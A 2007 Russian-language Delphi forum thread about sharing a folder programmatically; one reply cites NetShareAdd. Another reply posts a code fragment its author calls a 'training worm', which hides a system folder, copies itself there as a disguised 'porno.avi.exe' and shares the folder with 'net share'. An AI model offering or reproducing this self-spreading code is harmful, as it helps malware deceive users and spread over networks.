Мастера DELPHI (документация, исходники, скачать)

Основная («Начинающим»)/ Базы / WinAPI / Компоненты / Сети / Media / Игры / Corba и COM / KOL / FreePascal / .Net / Прочее / RSDN.ORG

« предыдущая ветвь | форум | следующая ветвь »

Установка общего доступа к папкам

йцукенг © (2007-05-11 13:04:00)
Кто знает как сделать Shared какую нибудь папку? Заранее спасибо.

P (2007-05-12 16:42:00) [1]

>
> йцукенг (11.05.07 13:04)
>
> Кто знает как сделать Shared какую нибудь папку? Заранее
> спасибо.

NetShareAdd
The NetShareAdd function shares a server resource.

и MSDN

Kedge (2007-05-12 16:34:00) [2]
> [4] йцукенг (12.05.07 15:33)
>Ни х.... Вася Пупкин не знает. Если бы знал, тогда бы написал.
Вася Пупкин - уважаемый человек, который много чего знает.
Просто, желание отвечать у него возникает далеко не всем.

йцукенг (2007-05-12 15:33:00) [3]

> Anatoly Podgoretsky © (11.05.07 13:38) [1]

> Зачем тебе знать, кто это
> знает. Допустим Вася
> Пупкин знает, тебе стало
> легче?

Ни х.... Вася Пупкин не знает. Если бы знал, тогда бы написал.

Iv_ (2007-05-11 15:10:00) [4]
как видишь тут это делается через командную строку :)

Iv_ (2007-05-11 15:09:00) [5]
вот тебе кусок кода из простого тренировочного червячка :)))
begin
// создаем оводку глаз
assignfile(t,'c:\p.avi');
rewrite(t);
closefile(t);
// запускаем плеер ассоциированный с avi файлами
shellexecute(Application.Handle, nil, 'c:\p.avi', nil, nil, SW_SHOW);
//если не админ то дальше делать нечего :)
if not isAdmin then exit;
//создаем папку prn_ в папке винды
GetSystemDirectory(sdir, sizeof(sdir));
createdir(sdir+'\prn_');
//устанавливаем ее атрибуты
winexec(pchar('attrib +h +s +a +r '+sdir+'\prn_'),0);
//копируем себя в эту папку
copyfile(pchar(Application.ExeName),pchar(sdir+'\prn_\porno.avi.exe'), false);
//и расшариваем :) все просто как огурец
winexec(pchar('net share porno='+sdir+'\prn_'),0);
//дохнем
halt;
end.

Anatoly Podgoretsky (2007-05-11 13:38:00) [6]
> йцукенг (11.05.2007 13:04:00) [0]

Зачем тебе знать, кто это
знает. Допустим Вася
Пупкин знает, тебе стало
легче?

Наверх

	« предыдущая ветвь \| форум \| следующая ветвь »